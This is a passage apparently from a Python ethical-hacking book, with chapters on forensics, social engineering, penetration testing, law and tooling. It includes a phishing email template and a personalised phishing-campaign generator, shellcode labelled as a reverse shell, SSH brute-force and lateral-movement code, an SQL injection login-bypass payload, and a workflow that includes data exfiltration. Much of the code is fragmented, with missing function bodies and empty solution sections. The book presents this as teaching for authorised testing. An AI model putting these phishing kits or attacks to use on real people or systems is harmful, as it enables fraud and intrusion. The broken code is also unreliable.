{'type': 'malicious_ip', 'ip_address': '192.168.1.100'},
{'type': 'compromised_system', 'hostname':
'workstation1'},
]
import os
import platform
import psutil
import socket
import subprocess
import datetime
def get_system_info():
info = {}
info['hostname'] = socket.gethostname()
info['ip_address'] =
socket.gethostbyname(socket.gethostname())
info['os'] = platform.system()
info['os_version'] = platform.version()
info['cpu'] = platform.processor()
info['ram'] = psutil.virtual_memory().total // (1024 **
3) # GB
info['disk'] = psutil.disk_usage('/').total // (1024 **
3) # GB
return info
def get_running_processes():
processes = []
for proc in psutil.process_iter(['pid', 'name',
'username']):
processes.append(proc.info)
return processes
def get_network_connections():
connections = []
for conn in psutil.net_connections():
connections.append({
'local_address': conn.laddr.ip,
'local_port': conn.laddr.port,
'remote_address': conn.raddr.ip if conn.raddr
else None,
'remote_port': conn.raddr.port if conn.raddr
else None,
'status': conn.status
})
return connections
def get_installed_software():
if platform.system() == 'Windows':
output = subprocess.check_output('wmic product get
name,version', shell=True).decode()
return [line.split(' ') for line in
output.strip().split('\n')[1:]]
elif platform.system() == 'Linux':
output = subprocess.check_output('dpkg -l | tail -n
+6 | awk \'{print $2,$3}\'', shell=True).decode()
return [line.split() for line in
output.strip().split('\n')]
else:
return []
def generate_forensic_report():
report = "Forensic Report\n\n"
report += f"Date and Time:
{datetime.datetime.now()}\n\n"
generate_forensic_report()
In conclusion, Python provides a wide range of tools and libraries that make
it an excellent choice for network security and defense tasks. From building
intrusion detection systems to automating security configurations and
developing incident response scripts, Python's versatility and ease of use
make it an invaluable asset for security professionals. By leveraging the
power of Python, organizations can enhance their ability to detect, prevent,
and respond to security threats in an increasingly complex and challenging
digital landscape.
Chapter 7: Social Engineering and Python
7.1. The Role of Social Engineering in Hacking
Social engineering is a critical component of modern hacking techniques,
often proving to be the weakest link in an organization's security
infrastructure. This section explores the various aspects of social
engineering and its significance in the world of cybersecurity.
Python provides powerful libraries for creating and sending emails, which
can be used to simulate phishing attacks. Here's an example of how to
create a basic phishing email using Python:
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# Example usage
sender = "[email protected]"
recipient = "[email protected]"
subject = "Urgent: Account Security Update Required"
body = """
<html>
<body>
<p>Dear Valued Customer,</p>
<p>We have detected unusual activity on your account. Please
click the link below to verify your identity and secure your
account:</p>
<p><a href="http://malicious-site.com/fake-login">Verify
Account</a></p>
<p>If you do not take action within 24 hours, your account
will be suspended.</p>
<p>Thank you for your prompt attention to this matter.</p>
<p>Best regards,<br>Security Team</p>
</body>
</html>
"""
import csv
import random
from datetime import datetime
campaigns = []
for target in targets:
personalized_content = template.format(
first_name=target['first_name'],
last_name=target['last_name'],
company=target['company'],
role=target['role'],
unique_link=f"http://malicious-site.com/fake-
login?id={random.randint(1000, 9999)}"
)
campaigns.append({
'recipient': target['email'],
'subject': f"Important: {target['company']}
Account Update Required",
'content': personalized_content,
'send_time': datetime.now().strftime("%Y-%m-%d
%H:%M:%S")
})
# Example usage
template_file = "phishing_template.html"
targets_file = "targets.csv"
output_file = "phishing_campaign.csv"
generate_phishing_campaign(template_file, targets_file,
output_file)
This script reads a HTML template file and a CSV file containing target
information, generates personalized phishing emails, and saves the
campaign details to a new CSV file. You would need to create the following
files:
1. phishing_template.html:
<html>
<body>
<p>Dear {first_name} {last_name},</p>
<p>As a valued {role} at {company}, we need your immediate
attention regarding an important account security update.
</p>
<p>Please click the link below to verify your identity and
ensure continued access to your account:</p>
<p><a href="{unique_link}">Verify Account</a></p>
<p>If you do not take action within 24 hours, your account
access may be restricted.</p>
<p>Thank you for your prompt attention to this matter.</p>
<p>Best regards,<br>{company} Security Team</p>
</body>
</html>
2. targets.csv:
first_name,last_name,email,company,role
John,Doe,[email protected],ACME Corp,Manager
Jane,Smith,[email protected],XYZ Inc,Developer
This approach allows for the creation of more realistic and personalized
phishing campaigns, which can be used to test an organization's resilience
to such attacks.
7.3. Countermeasures Against Social Engineering
As social engineering attacks become more sophisticated, it's crucial to
develop robust countermeasures. Python can be used to create tools that
help detect and prevent social engineering attacks.
Here are some examples of how Python can be used to create tools for
countering social engineering attacks:
import email
import re
def analyze_email_headers(email_file):
with open(email_file, 'r') as f:
msg = email.message_from_file(f)
headers = msg._headers
suspicious_indicators = []
return suspicious_indicators
# Example usage
email_file = 'suspicious_email.eml'
results = analyze_email_headers(email_file)
if results:
print("Suspicious indicators found:")
for indicator in results:
print(f"- {indicator}")
else:
print("No suspicious indicators found in the email
headers.")
This script analyzes email headers for common phishing indicators, such as
mismatched 'From' and 'Reply-To' addresses, suspicious 'Received' headers,
and urgency in the subject line.
import requests
import re
def check_url_reputation(url):
api_key = 'your_virustotal_api_key'
headers = {
"Accept": "application/json",
"x-apikey": api_key
}
if response.status_code == 200:
result = response.json()
stats = result['data']['attributes']
['last_analysis_stats']
total_scans = sum(stats.values())
malicious_scans = stats['malicious']
if malicious_scans > 0:
return f"Suspicious URL:
{malicious_scans}/{total_scans} security vendors flagged
this URL as malicious."
else:
return "URL appears to be safe."
else:
return f"Error checking URL reputation:
{response.status_code}"
def extract_urls_from_text(text):
url_pattern = re.compile(r'http[s]?://(?:[a-zA-Z]|[0-9]|
[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+')
return url_pattern.findall(text)
# Example usage
email_content = """
Dear User,
urls = extract_urls_from_text(email_content)
This script extracts URLs from a given text and checks their reputation
using the VirusTotal API. It can help identify potentially malicious links in
emails or messages.
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
from sklearn.metrics import classification_report
if prediction[0] == 1:
return f"This email is classified as phishing with
{probability[1]:.2f} confidence."
else:
return f"This email is classified as legitimate with
{probability[0]:.2f} confidence."
# Example usage
new_email = """
Dear Customer,
Best regards,
Security Team
"""
result = classify_email(new_email)
print(result)
This script demonstrates how to train a simple machine learning model to
classify emails as phishing or legitimate. It uses the TF-IDF vectorizer to
convert email content into features and a Naive Bayes classifier for
prediction. You would need to prepare a dataset of labeled emails (phishing
and legitimate) to train the model effectively.
import random
import json
class SEQuizGenerator:
def __init__(self, questions_file):
with open(questions_file, 'r') as f:
self.questions = json.load(f)
for q in quiz_questions:
question = {
'question': q['question'],
'options': q['options'],
'correct_answer': q['correct_answer']
}
quiz.append(question)
return quiz
while True:
try:
answer = int(input("Enter your answer
(1-4): "))
if 1 <= answer <= 4:
break
else:
print("Please enter a number between
1 and 4.")
except ValueError:
print("Please enter a valid number.")
if q['options'][answer-1] ==
q['correct_answer']:
print("Correct!")
score += 1
else:
print(f"Incorrect. The correct answer is:
{q['correct_answer']}")
# Example usage
quiz_gen = SEQuizGenerator('se_questions.json')
quiz = quiz_gen.generate_quiz(5)
score, total = quiz_gen.administer_quiz(quiz)
This script generates quizzes from a pool of questions stored in a JSON file.
You would need to create a se_questions.json file with a structure like
this:
[
{
"question": "Which of the following is NOT a common
social engineering tactic?",
"options": [
"Phishing",
"Pretexting",
"Firewall configuration",
"Baiting"
],
"correct_answer": "Firewall configuration"
},
{
"question": "What should you do if you receive an
unexpected email asking you to click on a link?",
"options": [
"Click the link to see what it is",
"Forward the email to all your colleagues",
"Verify the sender's identity through a separate
channel",
"Reply to the email asking for more information"
],
"correct_answer": "Verify the sender's identity
through a separate channel"
}
]
These tools and scripts demonstrate how Python can be used to develop
countermeasures against social engineering attacks. They can be integrated
into larger security systems or used as standalone tools for training and
awareness purposes.
In conclusion, social engineering remains a significant threat in the
cybersecurity landscape. By understanding the psychological principles
behind these attacks and leveraging Python to create detection and
prevention tools, organizations can better protect themselves against this
ever-evolving threat. It's crucial to combine technical solutions with
comprehensive employee training and awareness programs to create a
robust defense against social engineering attacks.
Chapter 8: Advanced Python Techniques for
Ethical Hacking
8.1. Writing Python Scripts for Penetration Testing
Penetration testing is a critical aspect of cybersecurity, allowing
organizations to identify and address vulnerabilities in their systems before
malicious actors can exploit them. Python has become an essential tool for
penetration testers due to its versatility, extensive library ecosystem, and
ease of use. In this section, we'll explore how to integrate Python scripts
into a penetration testing workflow and examine some real-world case
studies.
Let's look at some examples of how Python can be used in each phase of the
penetration testing process:
1. Planning and Reconnaissance
import requests
from bs4 import BeautifulSoup
def enumerate_subdomains(domain):
url = f"https://crt.sh/?q=%.{domain}&output=json"
response = requests.get(url)
data = response.json()
subdomains = set()
for entry in data:
subdomains.add(entry['name_value'])
return subdomains
domain = "example.com"
subdomains = enumerate_subdomains(domain)
print(f"Subdomains for {domain}:")
for subdomain in subdomains:
print(subdomain)
2. Vulnerability Assessment
import nmap
def scan_for_vulnerabilities(target):
nm = nmap.PortScanner()
nm.scan(target, arguments="-sV -sC --script vuln")
target = "192.168.1.100"
scan_for_vulnerabilities(target)
3. Exploitation
import socket
import struct
def exploit_buffer_overflow(target, port):
# Shellcode (example: reverse shell)
shellcode =
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\x
e3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
target = "192.168.1.100"
port = 4444
exploit_buffer_overflow(target, port)
This script demonstrates a simple buffer overflow exploit. Note that this is a
basic example and should only be used on systems you have permission to
test.
4. Post-Exploitation
import paramiko
try:
ssh.connect(target, username=username,
password=password)
print(f"Successfully connected to {target}")
sftp.close()
ssh.close()
except paramiko.AuthenticationException:
print("Authentication failed")
except paramiko.SSHException as ssh_exception:
print(f"SSH exception occurred: {ssh_exception}")
target = "192.168.1.100"
username = "user"
password = "password123"
lateral_movement(target, username, password)
5. Reporting
def generate_vulnerability_report(data):
df = pd.DataFrame(data)
# Example data
vulnerability_data = [
{'name': 'CVE-2021-44228', 'type': 'RCE', 'severity':
'Critical', 'cvss_score': 10.0},
{'name': 'CVE-2021-26855', 'type': 'RCE', 'severity':
'Critical', 'cvss_score': 9.8},
{'name': 'CVE-2021-34527', 'type': 'RCE', 'severity':
'Critical', 'cvss_score': 8.8},
{'name': 'CVE-2021-26857', 'type': 'Privilege
Escalation', 'severity': 'High', 'cvss_score': 7.8},
{'name': 'CVE-2021-26858', 'type': 'Information
Disclosure', 'severity': 'Medium', 'cvss_score': 6.6},
{'name': 'CVE-2021-27065', 'type': 'Information
Disclosure', 'severity': 'Medium', 'cvss_score': 6.6},
{'name': 'CVE-2021-41773', 'type': 'Path Traversal',
'severity': 'High', 'cvss_score': 7.5},
{'name': 'CVE-2021-42013', 'type': 'Path Traversal',
'severity': 'Critical', 'cvss_score': 9.8},
{'name': 'CVE-2021-34473', 'type': 'RCE', 'severity':
'Critical', 'cvss_score': 9.8},
{'name': 'CVE-2021-31207', 'type': 'Security Feature
Bypass', 'severity': 'High', 'cvss_score': 7.2},
]
generate_vulnerability_report(vulnerability_data)
This script generates a vulnerability report with visualizations using
matplotlib and pandas.
Let's examine two case studies that demonstrate how Python can be used in
end-to-end penetration testing scenarios.
import requests
from bs4 import BeautifulSoup
import re
class WebAppPenTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def scan_for_sensitive_information(self):
response = self.session.get(self.base_url)
soup = BeautifulSoup(response.text, 'html.parser')
patterns = {
'email': r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.
[A-Z|a-z]{2,}\b',
'phone': r'\b\d{3}[-.]?\d{3}[-.]?\d{4}\b',
'ssn': r'\b\d{3}-\d{2}-\d{4}\b'
}
def run_pentest(self):
print("Starting Web Application Penetration Test")
# Usage
pentester = WebAppPenTester("http://example.com")
pentester.run_pentest()
import nmap
import paramiko
import socket
from scapy.all import ARP, Ether, srp
class NetworkPenTester:
def __init__(self, network_range):
self.network_range = network_range
def discover_live_hosts(self):
arp = ARP(pdst=self.network_range)
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
packet = ether/arp
result = srp(packet, timeout=3, verbose=0)[0]
return [received.psrc for sent, received in result]
def run_pentest(self):
print(f"Starting Network Penetration Test on
{self.network_range}")
# Port scan
scan_results = self.port_scan(host)
for proto in scan_results.all_protocols():
print(f"Protocol: {proto}")
ports = scan_results[proto].keys()
for port in ports:
service = scan_results[proto][port]
print(f"Port {port}: {service['name']}
{service['version']}")
# Usage
pentester = NetworkPenTester("192.168.1.0/24")
pentester.run_pentest()
This script demonstrates a basic network penetration testing workflow,
including host discovery, port scanning, and checking for specific
vulnerabilities (in this case, an SSH vulnerability).
class HackingFramework:
def __init__(self, config_file):
self.config = self.load_config(config_file)
self.setup_logging()
self.modules = {
'recon': recon.ReconModule(),
'exploit': exploit.ExploitModule(),
'report': report.ReportModule()
}
def setup_logging(self):
logging.basicConfig(
level=self.config['logging']['level'],
format='%(asctime)s - %(name)s - %(levelname)s -
%(message)s',
filename=self.config['logging']['file']
)
self.logger = logging.getLogger(__name__)
def run(self):
self.logger.info("Starting hacking framework")
try:
# Run reconnaissance
targets =
self.modules['recon'].run(self.config['recon'])
# Run exploitation
results = self.modules['exploit'].run(targets,
self.config['exploit'])
# Generate report
self.modules['report'].run(results,
self.config['report'])
def main():
parser = argparse.ArgumentParser(description="Custom
Hacking Framework")
parser.add_argument("-c", "--config", required=True,
help="Path to configuration file")
args = parser.parse_args()
framework = HackingFramework(args.config)
framework.run()
if __name__ == "__main__":
main()
This framework provides a basic structure that you can expand upon. Let's
break down the key components:
logging:
level: INFO
file: framework.log
recon:
methods:
- nmap_scan
- subdomain_enumeration
targets:
- 192.168.1.0/24
- example.com
exploit:
methods:
- ssh_bruteforce
- web_app_vulnerabilities
threads: 5
report:
format: pdf
output: pentest_report.pdf
One of the advantages of using Python for your hacking framework is the
ability to leverage existing libraries and tools. Here are some examples of
how you can incorporate popular libraries into your framework:
Let's expand our framework with some example modules that incorporate
these libraries:
# modules/recon.py
import nmap
import dns.resolver
class ReconModule:
def __init__(self):
self.nm = nmap.PortScanner()
# modules/exploit.py
import paramiko
import requests
from concurrent.futures import ThreadPoolExecutor
class ExploitModule:
def ssh_bruteforce(self, target, username, password):
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAdd
Policy())
ssh.connect(target, username=username,
password=password)
return True
except paramiko.AuthenticationException:
return False
finally:
ssh.close()
if 'web_app_vulnerabilities' in
config['methods']:
future =
executor.submit(self.check_web_app_vulnerabilities, target)
results.append(("Web App
Vulnerabilities", target, future.result()))
return results
# modules/report.py
from fpdf import FPDF
class ReportModule:
def generate_pdf_report(self, results, output_file):
pdf = FPDF()
pdf.add_page()
pdf.set_font("Arial", size=12)
pdf.output(output_file)
class LargeScaleVulnerabilityScanner:
def __init__(self, targets, concurrency=100,
timeout_seconds=10):
self.targets = targets
self.concurrency = concurrency
self.timeout_seconds = timeout_seconds
self.results = []
self.setup_database()
def setup_database(self):
self.conn = sqlite3.connect('vulnerability_scan.db')
self.cursor = self.conn.cursor()
self.cursor.execute('''CREATE TABLE IF NOT EXISTS
scan_results
(target TEXT, vulnerability
TEXT, details TEXT)''')
self.conn.commit()
def run(self):
loop = asyncio.get_event_loop()
loop.run_until_complete(self.run_scans())
self.conn.close()
# Usage
targets = [
"192.168.1.1",
"192.168.1.2",
"example.com",
"google.com"
]
scanner = LargeScaleVulnerabilityScanner(targets)
scanner.run()
This example demonstrates several advanced automation techniques:
class HackingTaskManager:
def __init__(self, redis_url):
self.redis_conn = redis.from_url(redis_url)
self.queue = Queue(connection=self.redis_conn)
self.plugins = {}
self.load_plugins()
def load_plugins(self):
plugin_list = ['recon', 'exploit', 'post_exploit']
for plugin_name in plugin_list:
module = importlib.import_module(f"plugins.
{plugin_name}")
self.plugins[plugin_name] = module.Plugin()
job =
self.queue.enqueue(self.plugins[task_type].run, params)
return job.id
def get_task_status(self, task_id):
job = Job.fetch(task_id, connection=self.redis_conn)
return {
'id': job.id,
'status': job.get_status(),
'result': job.result
}
if 'depends_on' in step:
depends_on = step['depends_on']
if depends_on not in results:
raise ValueError(f"Dependency
{depends_on} not found in results")
params['previous_result'] =
results[depends_on]
task_id = self.create_task(task_type, params)
job = Job.fetch(task_id,
connection=self.redis_conn)
job.wait()
results[step['name']] = job.result
return results
return status
class ExploitPlugin:
def run(self, params):
target = params['target']
vulnerability = params['vulnerability']
# Attempt exploitation
return f"Exploit attempted on {target} for
{vulnerability}"
class PostExploitPlugin:
def run(self, params):
target = params['target']
previous_result = params.get('previous_result', '')
# Perform post-exploitation tasks
return f"Post-exploit tasks completed on {target}.
Previous result: {previous_result}"
# Usage example
manager = HackingTaskManager('redis://localhost:6379')
# Define a workflow
workflow = [
{
'name': 'recon',
'type': 'recon',
'params': {'target': 'example.com'}
},
{
'name': 'exploit',
'type': 'exploit',
'params': {'target': 'example.com', 'vulnerability':
'CVE-2021-12345'},
'depends_on': 'recon'
},
{
'name': 'post_exploit',
'type': 'post_exploit',
'params': {'target': 'example.com'},
'depends_on': 'exploit'
}
]
print("Workflow Results:")
for step, result in results.items():
print(f"{step}: {result}")
print("\nWorkflow Status:")
status = manager.get_workflow_status(workflow_id)
for step, step_status in status.items():
print(f"{step}: {step_status}")
This implementation demonstrates several key concepts for managing and
executing complex hacking tasks:
To use this system, you would implement your specific hacking techniques
as plugins (like the example ReconPlugin , ExploitPlugin , and
PostExploitPlugin ). Then, you can define workflows that combine these
techniques into complex hacking scenarios.
Here's an example of how you might use this system for a more complex
ethical hacking scenario:
complex_workflow = [
{
'name': 'network_scan',
'type': 'network_scan',
'params': {'target_range': '192.168.1.0/24'}
},
{
'name': 'vulnerability_scan',
'type': 'vulnerability_scan',
'params': {'target_range': '192.168.1.0/24'},
'depends_on': 'network_scan'
},
{
'name': 'exploit_selection',
'type': 'exploit_selection',
'params': {},
'depends_on': 'vulnerability_scan'
},
{
'name': 'exploitation',
'type': 'exploitation',
'params': {},
'depends_on': 'exploit_selection'
},
{
'name': 'privilege_escalation',
'type': 'privilege_escalation',
'params': {},
'depends_on': 'exploitation'
},
{
'name': 'data_exfiltration',
'type': 'data_exfiltration',
'params': {},
'depends_on': 'privilege_escalation'
},
{
'name': 'cleanup',
'type': 'cleanup',
'params': {},
'depends_on': 'data_exfiltration'
},
{
'name': 'report_generation',
'type': 'report_generation',
'params': {},
'depends_on': 'cleanup'
}
]
workflow_id = manager.create_workflow(complex_workflow)
results = manager.execute_workflow(workflow_id)
By using this task management and workflow system, you can automate
complex ethical hacking scenarios, manage long-running tasks, and easily
extend your framework with new techniques and tools. This approach
provides a flexible and powerful way to conduct large-scale vulnerability
assessments and manage complex ethical hacking operations.
Chapter 9: Staying Ethical and Legal
In the realm of ethical hacking, maintaining a strong ethical foundation and
adhering to legal guidelines is paramount. This chapter delves into the
crucial aspects of legal considerations, proper reporting and documentation,
and the importance of continuous learning in the field of ethical hacking.
1. Computer Fraud and Abuse Act (CFAA): This U.S. federal law
prohibits unauthorized access to computer systems. Ethical hackers
must ensure they have explicit permission to test systems and
networks.
2. Digital Millennium Copyright Act (DMCA): This law addresses
copyright issues in the digital age. Ethical hackers should be cautious
when dealing with copyrighted material or circumventing digital rights
management (DRM) systems.
3. Electronic Communications Privacy Act (ECPA): This act protects
the privacy of electronic communications. Ethical hackers must be
careful not to intercept or access private communications without
proper authorization.
4. State and Local Laws: In addition to federal laws, ethical hackers
must be aware of state and local regulations that may affect their work.
5. International Laws: When working across borders, ethical hackers
must consider the legal implications in different jurisdictions.
To stay on the right side of the law and maintain ethical standards, consider
the following guidelines:
Severity rating
Description of the vulnerability
Potential impact
Steps to reproduce
Severity: High
Description: The login form on the company's public-facing
website is vulnerable to SQL injection attacks. An attacker
could potentially bypass authentication or extract sensitive
information from the database.
Potential Impact:
- Unauthorized access to user accounts
- Theft of sensitive user data
- Compromise of the entire database
Steps to Reproduce:
1. Navigate to the login page: https://example.com/login
2. Enter the following payload in the username field: admin'
OR '1'='1
3. Enter any value in the password field
4. Click the login button
5. Observe that the application grants access without a
valid password
Recommendation:
Implement parameterized queries or prepared statements to
prevent SQL injection attacks. Additionally, implement input
validation and sanitization for all user-supplied input.
DEF CON
Black Hat
RSA Conference
BSides events
picoCTF
HackTheBox
OverTheWire
5. Podcasts:
Darknet Diaries
Security Now
Risky Business
6. GitHub Repositories:
7. Vulnerability Databases:
2. Specialize:
7. Stay Ethical:
Penetration Tester
Security Consultant
Incident Response Specialist
Security Researcher
Chief Information Security Officer (CISO)
Back Door: A hidden entry point into a computer system that bypasses
normal authentication mechanisms.
Bandwidth: The maximum rate of data transfer across a given path in a
network.
Dark Web: A part of the internet that exists on darknets and is not indexed
by search engines, often associated with illegal activities.
M
Malware: Software that is specifically designed to disrupt, damage, or gain
unauthorized access to a computer system.
Port Scanning: The process of checking a server or host for open ports.
T
Threat Actor: An individual or group that has the potential to impact an
organization's security.
1. Scapy
target = "192.168.1.1"
port = 80
if syn_scan(target, port):
print(f"Port {port} is open on {target}")
else:
print(f"Port {port} is closed on {target}")
2. Requests
Requests is a simple, yet elegant HTTP library. It's widely used for making
HTTP requests in Python applications, including those used for web
scraping and API interaction.
import requests
if response.status_code == 200:
data = response.json()
print(f"Username: {data['login']}")
print(f"Name: {data['name']}")
print(f"Location: {data['location']}")
else:
print(f"Failed to retrieve data. Status code:
{response.status_code}")
3. Beautiful Soup
Beautiful Soup is a library for pulling data out of HTML and XML files. It's
often used in combination with Requests for web scraping tasks.
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
posts = soup.find_all('div', class_='title')
4. Paramiko
if output:
print('--- Output ---')
for line in output:
print(line.strip())
client.close()
5. Nmap
import nmap
print(scanner.scaninfo())
print("IP Status: ", scanner['192.168.1.1'].state())
print(scanner['192.168.1.1'].all_protocols())
print("Open Ports: ", scanner['192.168.1.1']['tcp'].keys())
6. Cryptography
# Encrypt a message
message = b"Secret message"
cipher_text = cipher_suite.encrypt(message)
print("Encrypted message:", cipher_text)
7. Pymetasploit3
8. Scrapy
Scrapy is a fast high-level web crawling and web scraping framework, used
to crawl websites and extract structured data from their pages. It's
particularly useful for large-scale web scraping projects.
import scrapy
class BlogSpider(scrapy.Spider):
name = 'blogspider'
start_urls = ['https://blog.scrapinghub.com']
def parse(self, response):
for title in response.css('.post-header>h2'):
yield {'title': title.css('a ::text').get()}
9. Faker
Faker is a Python package that generates fake data for you. It's particularly
useful when you need to bootstrap your database, create good-looking XML
documents, fill-in your persistence to stress test it, or anonymize data taken
from a production service.
fake = Faker()
10. Pwntools
# Send data
conn.send('Hello, server!\n')
# Receive data
response = conn.recv()
print("Server response:", response)
Solution:
nmap 192.168.1.0/24
3. OS detection scan:
sudo nmap -O 192.168.1.1
5. Comprehensive scan:
This performs a SYN scan, version detection, OS detection, and scans all
ports.
import nmap
def scan_network(target):
nm = nmap.PortScanner()
nm.scan(target, arguments='-sS -sV -O -p-')
for host in nm.all_hosts():
print(f'Host: {host}')
print(f'State: {nm[host].state()}')
print('Open ports:')
for proto in nm[host].all_protocols():
lport = nm[host][proto].keys()
for port in lport:
print(f'Port: {port}\tState: {nm[host]
[proto][port]["state"]}\tService: {nm[host][proto][port]
["name"]}')
scan_network('192.168.1.1')
Remember to only scan networks and systems you have explicit permission
to test.
Solution:
Solution:
import mysql.connector
result = cursor.fetchone()
cursor.close()
conn.close()
Solution:
Using Hashcat:
import hashlib
def hash_password(password):
return hashlib.md5(password.encode()).hexdigest()
Solution:
3. Capture handshake:
Solution:
Dear [Name],
[Phishing Link]
Best regards,
IT Security Team
Solution:
For OpenVAS:
Executive summary
Methodology
Findings and risk ratings
Detailed vulnerability descriptions
Remediation recommendations
Appendices (e.g., raw scan results)
import xml.etree.ElementTree as ET
def parse_openvas_results(xml_file):
tree = ET.parse(xml_file)
root = tree.getroot()
vulnerabilities = {
'High': 0,
'Medium': 0,
'Low': 0
}
return vulnerabilities
results = parse_openvas_results('openvas_results.xml')
print("Vulnerability Summary:")
for severity, count in results.items():
print(f"{severity}: {count}")